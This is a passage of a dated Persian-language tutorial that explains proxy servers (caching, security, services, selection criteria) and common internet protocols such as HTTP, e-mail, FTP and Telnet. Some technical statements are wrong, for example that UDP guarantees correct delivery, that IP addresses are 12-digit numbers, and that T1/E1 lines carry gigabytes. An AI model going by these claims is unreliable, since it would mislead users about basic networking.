7- هر چند وقت یکبار پسورد خود را عوض کنید.

8- کاربران خود را هر چند وقت یکبار چک کنید تا از موارد مشکوک مطلع شوید.

Proxy Server چیست؟

Proxy Server نرم افزاری است که در یک شبکه حد واسط بین اینترنت و کاربران واقع می شود. فلسفه ایجاد Proxy Server قراردادن یک خط اینترنت در اختیار تعداد بیش از یک نفر استفاده کننده در یک شبکه بوده است ولی بعدها امکانات و قابلیتهایی به Proxy Server افزوده شد که کاربرد آن را فراتر از به اشتراک نهادن خطوط اینترنت کرد . بطور کلی Proxy Server ها در چند مورد کلی استفاده می شوند .
یک کاربرد Proxy Server ها ، همان به اشتراک گذاشتن یک خط اینترنت برای چند کاربر است که باعث کاهش هزینه و کنترل کاربران و همچنین ایجاد امنیت بیشتر می شود . کاربرد دوم Proxy Serverها ، در سایتهای اینترنتی به عنوان Firewall می باشد . کاربرد سوم که امروزه از آن بسیار استفاده می شود ، Caching اطلاعات است . با توجه به گران بودن هزینه استفاده از اینترنت و محدود بودن پهنای باند ارتباطی برای ارسال و دریافت اطلاعات ، معمولا" نمی توان به اطلاعات مورد نظر در زمان کم و با سرعت مطلوب دست یافت . امکان Caching اطلاعات ، برای کمک به رفع این مشکل در نظر گرفته شده است . Proxy Server ، سایتهایی را که بیشتر به آنها مراجعه می شود را دریک حافظه جداگانه نگاه می دارد. به این ترتیب برای مراجعه مجدد به آنها نیازی به ارتباط از طریق اینترنت نیست بلکه به همان حافظه مخصوص رجوع خواهد شد .
این امر باعث می گردد از یک طرف زمان دسترسی به اطلاعات کمتر شده و از سوی دیگر چون اطلاعات از اینترنت دریافت نمی شود ، پهنای باند محدود موجود با اطلاعات تکراری اشغال نشود . بخصوص آنکه معمولا" تغییرات در یک Website محدود به یک یا دو صفحه می باشد و گرفتن اطلاعات از اینترنت بدون Caching به معنای گرفتن کل سایت می باشد حال آنکه با استفاده از Proxy Server و امکان Caching اطلاعات ، میتوان تنها صفحات تغییر کرده را دریافت کرد .

ویژگیهای Proxy Server
ویژگی اول : با استفاده از Proxy Server می توان از اکثر پروتکلهای موجود در شبکه های محلی در محدوده نرم افزارهای کاربردی در شبکه های LAN مرتبط با اینترنت استفاده کرد .
Proxy Server پروتکلهای پر کاربرد شبکه های محلی مانند IPX/SPX (مورد استفاده در شبکه های ناول) ، NETBEUI (مورد استفاده در شبکه های LAN با تعداد کاربران کم) و TCP/IP (مورد استفاده در شبکه های Intranet) را پشتیبانی می کند. با این ترتیب برای اینکه بتوان از یک نرم افزار کاربردی شبکه LAN که مثلا" با پروتکل IPX/SPX روی ناول نوشته شده ، روی اینترنت استفاده کرد نیازی نیست که قسمتهای مربوط به ارتباط با شبکه که از Function Call های API استفاده کرده را به Function Call های TCP/IP تغییر داد بلکه Proxy Server خود این تغییرات را انجام داده و می توان به راحتی از نرم افزاری که تا کنون تحت یک شبکه LAN با ناول کار می کرده است را در شبکه ای که مستقیما" به اینترنت متصل است ، استفاده کرد .
همین ویژگی درباره سرویسهای اینترنت مانند , FTP , Telnet , Gopher , IRC RealAudio , Pop3 و . . . وجود دارد . به این معنا که هنگام پیاده سازی برنامه با یک سرویس یا پروتکل خاص ، محدودیتی نبوده و کدی در برنامه برای ایجاد هماهنگی نوشته نمی شود .

ویژگی دوم : با Cache کردن اطلاعاتی که بیشتر استفاده می شوند و با بروز نگاه داشتن آنها ، قابلیت سرویسهای اینترنت نمایان تر شده و مقدار قابل توجهی در پهنای باند ارتباطی صرفه جویی می گردد.

ویژگی سوم : Proxy Server امکانات ویژه ای برای ایجاد امنیت در شبکه دارد . معمولا" در شبکه ها دو دسته امنیت اطلاعاتی مد نظر است . یکی آنکه همه کاربران شبکه نتوانند از همه سایتها استفاده کنند و دیگر آنکه هر کسی نتواند از روی اینترنت به اطلاعات شبکه دسترسی پیدا کند . با استفاده ازProxy Server نیازی نیست که هر Client بطور مستقیم به اینترنت وصل شود در ضمن از دسترسی غیرمجاز به شبکه داخلی جلوگیری می شود . همچنین می توان با استفاده از SSL (Secure Sockets Layers) امکان رمز کردن داده ها را نیز فراهم آورد.

ویژگی چهارم : Proxy Server بعنوان نرم افزاری که می تواند با سیستم عامل شما مجتمع شود و همچنین با IIS (Internet Information Server) سازگار می باشد، استفاده می گردد.

خدمات Proxy Server
Proxy Server سه سرویس در اختیار کاربران خود قرار می دهد:
1-Web Proxy Service : این سرویس برای Web Publishing یا همان ایجاد Web Site های مختلف درشبکه LAN مفید می باشد . برای این منظور قابلیت مهم Reverse Proxing در نظر گرفته شده است . Reverse Proxing امکان شبیه سازی محیط اینترنت درمحیط داخل می باشد. به این ترتیب فرد بدون ایجاد ارتباط فیزیکی با اینترنت می تواند برنامه خود را همچنان که در محیط اینترنت عمل خواهد کرد، تست کرده و مورد استفاده قرا دهد. این قابلیت در بالا بردن سرعت و کاهش هزینه تولید نرم افزارهای کاربردی تحت اینترنت موثر است.
2-Winsock Proxy Service : منظور، امکان استفاده از API Callهای Winsock در Windows است . در Windows ، Function Call های مورد استفاده در سرویسهای اینترنت مانند Telnet ، FTP ، Gopher و . . . ، تحت عنوان Winsock Protocols معرفی شده اند. در حقیقت برای استفاده از این سرویسها در نرم افزارهای کاربردی نیازی نیست که برنامه نویس چگونگی استفاده از این سرویسها را پیش بینی کند.
3-Socks Proxy Service : این سرویس، سرویس Socks 4.3a را پشتیبانی می کند که در واقع زیر مجموعه ای از Winsock می باشد و امکان استفاده از Http 1.02 و بالاتر را فراهم می کند. به این ترتیب می توان در طراحی Website خارج از Firewall ، Security ایجاد کرد.

معیارهای موثر در انتخاب Proxy Server
1- سخت افزار مورد نیاز : برای هر چه بهتر شدن توانمندیهای Proxy Server ، باید سخت افزار آن توانایی تحمل بار مورد انتظار را داشته باشد .
2- نوع رسانه فیزیکی برای ارتباط با اینترنت : راه حلهای مختلفی برای اتصال به شبکه اینترنت وجود دارد . ساده ترین راه ، استفاده از مودم و خطوط آنالوگ می باشد . راه دیگر استفاده از ISDN و خطوط دیجیتال است که هم احتیاج به تبدیل اطلاعات از آنالوگ به دیجیتال و برعکس در ارسال و دریافت اطلاعات ندارد و هم از سرعت بالاتری برخوردار است . روش دیگر استفاده از خط های T1/E1 با ظرفیت انتقال گیگا بایت می باشد .
• پیشنهاد می شود که در شبکه های با کمتر از 250 کاربر از ISDN و از 250 کاربر به بالا از T1/E1 استفاده شود . ( البته در ایران به علت عدم وجود خطوط ISDN و کمبود خطوط T1/E1 این استانداردها کمتر قابل پیاده سازی هستند. )
3- هزینه ارتباط با اینترنت : دو عامل موثر در هزینه اتصال به اینترنت ، پهنای باند و مانایی ارتباط می باشد . هر چه مرورگرهای اینترنتی بیشتر و زمان استفاده بیشتر باشد ، هزینه بالاتر خواهد بود . با توجه به اینکه Proxy Server می تواند با Caching اطلاعات این موارد را بهبود بخشد ، بررسی این عامل می تواند در تعیین تعداد Proxy های مورد استفاده موثر باشد .
4- نوع و نحوه مدیریت سایت : این عامل نیز در تعیین تعداد Proxyها موثر است . مثلا" اگر در شبکه ای مشکل راهبری وجود داشته باشد ، با اضافه کردن تعداد Proxyها ، مشکل راهبری نیز بیشتر خواهد شد .
5- پروتکل های مورد استفاده : Proxy Server ها معمولا" از پروتکلهای TCP/IP و یا IPX/SPX برای ارتباط با Client ها استفاده می کنند . بنابراین برای استفاده از Proxy باید یکی از این پروتکل ها را در شبکه استفاده کرد .

آشنایی با انواع پروتکلهای اینترنتی

پروتکلهای اینترنتی مجموعه قوانینی هستند که چگونگی تبادل اطلاعات را در شبکه توصیف می کنند. از میان پروتکلهای استاندار می توان به TCP و UDP و IP و SNMP اشاره کرد که هر کدام وظیفه خاصی را انجام می دهند.
UDP و TCP پروتکلهایی هستند که از صحت ارسال اطلاعات اطمینان حاصل می کند.
IP پروتکلی است که آدرس سایت را به صورت عددی 12 رقمی نشان می دهد.
از SNMP برای دریافت اطلاعات آماری استفاده می شود.
انواع دیگر پروتکلهای اینترنتی عبارتند از:
News, Gopher, Telnet, E-Mail, FTP, HTTP

1- HTTP (Hypertext Transfer Protocol)
این پروتکل که به وسیله مرورگرهای اینترنت نشان داده می شود، شبکه ای است که شما را به میزبان مرتبط می کند و به با توجه به اطلاعاتی که درخواست کرده اید نتایج را نشان می دهد. با استفاده از این پروتکل می توانید فایلهای مورد نیاز خود را دریافت یا مبادله کنید.
اصولاً آدرسهای اینترنتی در هر پروتکل به وسیله URL نمایش داده می شوند، آدرسهایی که درون این پروتکل قرار دارند به صورت زیر می باشد:
http://www.site.domain
که در ابتدا بعد از http دو نقطه و یک اسلش قرار می گیرد سپس نام سایت را ذکر می کنیم. اگر www را وارد کنیم صفحه اصلی سایت نشان داده می شود اما در بعضی از سایتها که به چند صفحه دیگر تقسیم می شوند بجای www می توان از کلمه دیگری که سایت به آن پیوند داده شده است استفاده کرد. لازم به ذکر است که اگر سایتی دارای چند صفحه باشد آن را به دو صورت زیر می تواند بسازد، یکی آنکه بجای www نام صفحه مورد نظر را بیاورد و دیگر آنکه بعد از نام اصلی سایت از یک اسلش استفاده کند و بعد از آن صفحه مورد نظر را بیاورد، مانند:
http://mail.yahoo.com
http://www.BBC.co.uk/Persian
http://www.google.com/mgyhp.html
بعد از نام سایت دامین می آید، دامین ها کلمات مشخصی هستند که عبارتند از:
Com و Org و Net و Co و Gov
همینطور هر کشور دامین مختص خود را دارد برای مثال دامین کشور ایران ir و امریکا us می باشد.

2- E-mail(Electronic mail)
از این پروتکل برای فرستادن و دریافت نامه استفاده می شود. برای استفاده از این سرویس می توانید از برنامه هایی مانند outlook استفاده کنید که در این صورت به پروتکلی که این برنامه از آن استفاده می کند POP (Post Office Protocol) نام خواهد گرفت، همینطور می توانید از Microsoft SMTP (Simple Mail Transfer Protocol ) استفاده کنید یا اینکه با استفاده از خدمات یک سایت نامه خود را فرستاده یا دریافت کنید.
برخی از سایتهای معتبر ایمیل عبارتند از:
Yahoo,Gmail,Hotmail,AOL,...
ساختار آدرسهای ایمیل به صورت زیر می باشد:
[e-mail]
در قسمت اول نامی به دلخواه ساخته می شود و بعد از آن از علامت @ استفاده می شود، در قسمت بعد هم نام سایتی که ایمیل در آن ساخته شده همراه با دامین می آید.

3- News
از پروتکل NNTP (Network News Transfer Protocol) برای پیام هایی که به سایتهای خبری ارسالی می گردد استفاده می شود. یکی از سیستمهای رایج این گروه USENET می باشد، که با استفاده از آن آگهی هایی در برخی از سایتها یا ایمیلها یا چت رومها نشان داده می شود.
این گروهها که به newsgroup معروفند پیوسته در مورد تمام موضوعها کنفرانسهایی تشکیل می دهند که پیوسته در حال بحث هستند. برای این کار شما برنامه مخصوصی را دانلود می کنید و در مورد موضوع مورد نظر با دیگران صحبت می کنید. بیشتر مرورگرهای تجاری دارای این امکانات هستند.

4- Gopher
با استفاده از این پروتکل شما می توانید اطلاعات دلخواه خود را از درون لیستی پیدا کنید. اطلاعاتی که به صورت فایلها و متنها و ... هستند به فهرستهایی دسته بندی شده اند و با انتخاب آیتم مورد نظر خود به زیر مجموعه های آن دست می یابید و این کار آنقدر ادامه پیدا می کند تا به اطلاعات مورد نظر خود برسید.

5- File Transfer Protocol (FTP)
یکی از قراردادهای TCP/IP که به شما اجازه می دهد تا اطلاعات خود را از کامپیوتر به شبکه بفرستید و یا آنها را دریافت کنید یا اینکه آنها را حذف، به روز، کپی و ... کنید. این سرویس دو نوع است، یکی به صورت رایگان که همه کاربران اجازه استفاده از آن را دارند (مانند ftp://ftp.microsoft.com) و دیگری که فقط مدیر سایت اجازه استفاده از آن را دارد. در اینترنت میلیونها فایل در FTP قرار دارند که با استفاده از سرویس Archie می توانید به جستجوی آنها بپردازید.

6- Telnet
با استفاده از این پروتکل شما قادر به log in به سیستم دیگری هستید و می توانید فایلی را در کامپیوتری دیگر به اجرا برسانید. با استفاده از این سرویس شما می توانید اطلاعات مورد نظر خود را در سایتهای دولتی و ... مشاهده نمایید.